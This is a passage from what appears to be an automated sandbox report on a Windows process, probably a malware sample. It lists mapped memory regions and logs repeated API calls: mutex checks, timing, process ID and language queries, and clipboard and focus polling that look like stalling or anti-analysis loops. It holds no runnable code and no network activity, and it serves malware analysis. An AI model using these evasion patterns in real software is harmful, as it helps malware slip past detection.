"private_0x000000007efde000" filename = "" Region: id = 1090 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1091 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1092 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1093 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1094 start_va = 0x5b0000 end_va = 0x62ffff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 1095 start_va = 0x746e0000 end_va = 0x746e7fff entry_point = 0x746e0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1096 start_va = 0x746f0000 end_va = 0x7474bfff entry_point = 0x746f0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1097 start_va = 0x74750000 end_va = 0x7478efff entry_point = 0x74750000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1098 start_va = 0x780000 end_va = 0x87ffff entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 1099 start_va = 0x75250000 end_va = 0x75295fff entry_point = 0x75250000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1100 start_va = 0x759f0000 end_va = 0x75afffff entry_point = 0x759f0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1101 start_va = 0x76e70000 end_va = 0x76f69fff entry_point = 0x0 region_type = private name = "private_0x0000000076e70000" filename = "" Region: id = 1102 start_va = 0x76f70000 end_va = 0x7708efff entry_point = 0x0 region_type = private name = "private_0x0000000076f70000" filename = "" Region: id = 1103 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1104 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1105 start_va = 0x74800000 end_va = 0x74850fff entry_point = 0x74800000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 1106 start_va = 0x74860000 end_va = 0x74891fff entry_point = 0x74860000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 1107 start_va = 0x748a0000 end_va = 0x748b3fff entry_point = 0x748a0000 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\SysWOW64\\msacm32.dll" (normalized: "c:\\windows\\syswow64\\msacm32.dll") Region: id = 1108 start_va = 0x74dc0000 end_va = 0x74dcbfff entry_point = 0x74dc0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1109 start_va = 0x74dd0000 end_va = 0x74e2ffff entry_point = 0x74dd0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1110 start_va = 0x74e90000 end_va = 0x74ea8fff entry_point = 0x74e90000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1111 start_va = 0x750d0000 end_va = 0x75126fff entry_point = 0x750d0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1112 start_va = 0x75130000 end_va = 0x751bffff entry_point = 0x75130000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1113 start_va = 0x752a0000 end_va = 0x7534bfff entry_point = 0x752a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1114 start_va = 0x75450000 end_va = 0x755abfff entry_point = 0x75450000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1115 start_va = 0x755b0000 end_va = 0x7564cfff entry_point = 0x755b0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1116 start_va = 0x756e0000 end_va = 0x7577ffff entry_point = 0x756e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1117 start_va = 0x75780000 end_va = 0x75789fff entry_point = 0x75780000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1118 start_va = 0x75790000 end_va = 0x7588ffff entry_point = 0x75790000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1119 start_va = 0x76b60000 end_va = 0x76beefff entry_point = 0x76b60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1120 start_va = 0x76d80000 end_va = 0x76e6ffff entry_point = 0x76d80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1121 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1122 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1123 start_va = 0x260000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 1124 start_va = 0x880000 end_va = 0xa07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 1125 start_va = 0x74e30000 end_va = 0x74e8ffff entry_point = 0x74e30000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1126 start_va = 0x75b00000 end_va = 0x75bcbfff entry_point = 0x75b00000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1127 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1128 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1129 start_va = 0xa10000 end_va = 0xb90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a10000" filename = "" Region: id = 1130 start_va = 0xc00000 end_va = 0x1ffffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c00000" filename = "" Region: id = 1131 start_va = 0x21d0000 end_va = 0x21dffff entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 1132 start_va = 0x21e0000 end_va = 0x24aefff entry_point = 0x21e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1133 start_va = 0x74650000 end_va = 0x746cffff entry_point = 0x74650000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1134 start_va = 0x24b0000 end_va = 0x26cffff entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 1135 start_va = 0x270000 end_va = 0x34efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1136 start_va = 0xe0000 end_va = 0xf1fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1137 start_va = 0x100000 end_va = 0x10dfff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1138 start_va = 0x26d0000 end_va = 0x2aa0fff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 1141 start_va = 0x110000 end_va = 0x11dfff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1142 start_va = 0x120000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 1143 start_va = 0x460000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Thread: id = 34 os_tid = 0xb30 [0029.396] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0029.396] GetLastError () returned 0x2 [0029.396] GetLocalTime (in: lpSystemTime=0x45fa40 | out: lpSystemTime=0x45fa40*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0xc, wMilliseconds=0x21a)) [0029.396] VarI4FromUI1 (in: bIn=0x1, plOut=0x45fa50 | out: plOut=0x45fa50) returned 0x0 [0029.396] GetTickCount () returned 0x16e1d [0029.396] wsprintfA (in: param_1=0x45fae8, param_2="%d" | out: param_1="18093725") returned 8 [0029.396] lstrlenA (lpString="18093725") returned 8 [0029.396] GetCurrentProcessId () returned 0xb2c [0029.396] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.396] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.399] GetUserDefaultLangID () returned 0x409 [0029.399] GetCurrentProcessId () returned 0xb2c [0029.399] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.400] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.400] GetUserDefaultLangID () returned 0x409 [0029.400] GetCurrentProcessId () returned 0xb2c [0029.400] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.400] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.400] GetUserDefaultLangID () returned 0x409 [0029.400] GetCurrentProcessId () returned 0xb2c [0029.400] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.400] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.400] GetUserDefaultLangID () returned 0x409 [0029.400] GetCurrentProcessId () returned 0xb2c [0029.400] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.400] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.400] GetUserDefaultLangID () returned 0x409 [0029.400] GetCurrentProcessId () returned 0xb2c [0029.400] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.400] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.400] GetUserDefaultLangID () returned 0x409 [0029.400] GetCurrentProcessId () returned 0xb2c [0029.400] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.400] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.400] GetUserDefaultLangID () returned 0x409 [0029.400] GetCurrentProcessId () returned 0xb2c [0029.400] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.400] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.400] GetUserDefaultLangID () returned 0x409 [0029.400] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0029.400] GetLastError () returned 0x2 [0029.400] GetLocalTime (in: lpSystemTime=0x45fa40 | out: lpSystemTime=0x45fa40*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0xc, wMilliseconds=0x21a)) [0029.400] VarI4FromUI1 (in: bIn=0x1, plOut=0x45fa50 | out: plOut=0x45fa50) returned 0x0 [0029.400] GetTickCount () returned 0x16e1d [0029.400] wsprintfA (in: param_1=0x45fae8, param_2="%d" | out: param_1="18093725") returned 8 [0029.400] lstrlenA (lpString="18093725") returned 8 [0029.400] GetCurrentProcessId () returned 0xb2c [0029.400] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.400] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.400] GetUserDefaultLangID () returned 0x409 [0029.400] GetCurrentProcessId () returned 0xb2c [0029.400] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.400] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.400] GetUserDefaultLangID () returned 0x409 [0029.400] GetCurrentProcessId () returned 0xb2c [0029.400] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.400] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.400] GetUserDefaultLangID () returned 0x409 [0029.400] GetCurrentProcessId () returned 0xb2c [0029.400] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.400] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.400] GetUserDefaultLangID () returned 0x409 [0029.400] GetCurrentProcessId () returned 0xb2c [0029.400] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.401] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.401] GetUserDefaultLangID () returned 0x409 [0029.401] GetCurrentProcessId () returned 0xb2c [0029.401] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.401] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.401] GetUserDefaultLangID () returned 0x409 [0029.401] GetCurrentProcessId () returned 0xb2c [0029.401] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.401] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.401] GetUserDefaultLangID () returned 0x409 [0029.401] GetCurrentProcessId () returned 0xb2c [0029.401] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.401] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.401] GetUserDefaultLangID () returned 0x409 [0029.401] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0029.401] GetLastError () returned 0x2 [0029.401] GetLocalTime (in: lpSystemTime=0x45fa40 | out: lpSystemTime=0x45fa40*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0xc, wMilliseconds=0x229)) [0029.401] VarI4FromUI1 (in: bIn=0x1, plOut=0x45fa50 | out: plOut=0x45fa50) returned 0x0 [0029.401] GetTickCount () returned 0x16e2d [0029.401] wsprintfA (in: param_1=0x45fae8, param_2="%d" | out: param_1="18093741") returned 8 [0029.401] lstrlenA (lpString="18093741") returned 8 [0029.401] GetCurrentProcessId () returned 0xb2c [0029.401] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.401] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.401] GetUserDefaultLangID () returned 0x409 [0029.401] GetCurrentProcessId () returned 0xb2c [0029.401] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.401] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.401] GetUserDefaultLangID () returned 0x409 [0029.401] GetCurrentProcessId () returned 0xb2c [0029.401] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.401] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.401] GetUserDefaultLangID () returned 0x409 [0029.401] GetCurrentProcessId () returned 0xb2c [0029.401] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.401] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.401] GetUserDefaultLangID () returned 0x409 [0029.401] GetCurrentProcessId () returned 0xb2c [0029.401] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.401] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.401] GetUserDefaultLangID () returned 0x409 [0029.401] GetCurrentProcessId () returned 0xb2c [0029.401] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.401] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.401] GetUserDefaultLangID () returned 0x409 [0029.401] GetCurrentProcessId () returned 0xb2c [0029.401] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.401] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.401] GetUserDefaultLangID () returned 0x409 [0029.401] GetCurrentProcessId () returned 0xb2c [0029.401] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.401] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.401] GetUserDefaultLangID () returned 0x409 [0029.401] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0029.401] GetLastError () returned 0x2 [0029.402] GetLocalTime (in: lpSystemTime=0x45fa40 | out: lpSystemTime=0x45fa40*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0xc, wMilliseconds=0x229)) [0029.402] VarI4FromUI1 (in: bIn=0x1, plOut=0x45fa50 | out: plOut=0x45fa50) returned 0x0 [0029.402] GetTickCount () returned 0x16e2d [0029.402] wsprintfA (in: param_1=0x45fae8, param_2="%d" | out: param_1="18093741") returned 8 [0029.402] lstrlenA (lpString="18093741") returned 8 [0029.402] GetCurrentProcessId () returned 0xb2c [0029.402] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.402] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.402] GetUserDefaultLangID () returned 0x409 [0029.402] GetCurrentProcessId () returned 0xb2c [0029.402] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.402] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.402] GetUserDefaultLangID () returned 0x409 [0029.402] GetCurrentProcessId () returned 0xb2c [0029.402] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.402] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.402] GetUserDefaultLangID () returned 0x409 [0029.402] GetCurrentProcessId () returned 0xb2c [0029.402] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.402] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.402] GetUserDefaultLangID () returned 0x409 [0029.402] GetCurrentProcessId () returned 0xb2c [0029.402] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.402] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.402] GetUserDefaultLangID () returned 0x409 [0029.402] GetCurrentProcessId () returned 0xb2c [0029.402] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.402] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.402] GetUserDefaultLangID () returned 0x409 [0029.402] GetCurrentProcessId () returned 0xb2c [0029.402] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.402] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.402] GetUserDefaultLangID () returned 0x409 [0029.402] GetCurrentProcessId () returned 0xb2c [0029.402] wsprintfA (in: param_1=0x45fae8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12860") returned 11 [0029.402] lstrcmpA (lpString1="7X6Qcl12860", lpString2="7JWg25") returned 1 [0029.402] GetUserDefaultLangID () returned 0x409 [0029.402] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0029.402] GetLastError () returned 0x2 [0029.402] GetLocalTime (in: lpSystemTime=0x45fa40 | out: lpSystemTime=0x45fa40*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0xc, wMilliseconds=0x229)) [0029.402] VarI4FromUI1 (in: bIn=0x1, plOut=0x45fa50 | out: plOut=0x45fa50) returned 0x0 [0029.402] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.418] CountClipboardFormats () returned 0 [0029.418] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.418] GetFocus () returned 0x0 [0029.418] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] GetFocus () returned 0x0 [0029.419] GetSystemMetrics (nIndex=25) returned 0 [0029.419] CountClipboardFormats () returned 0 [0029.419] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0029.419] 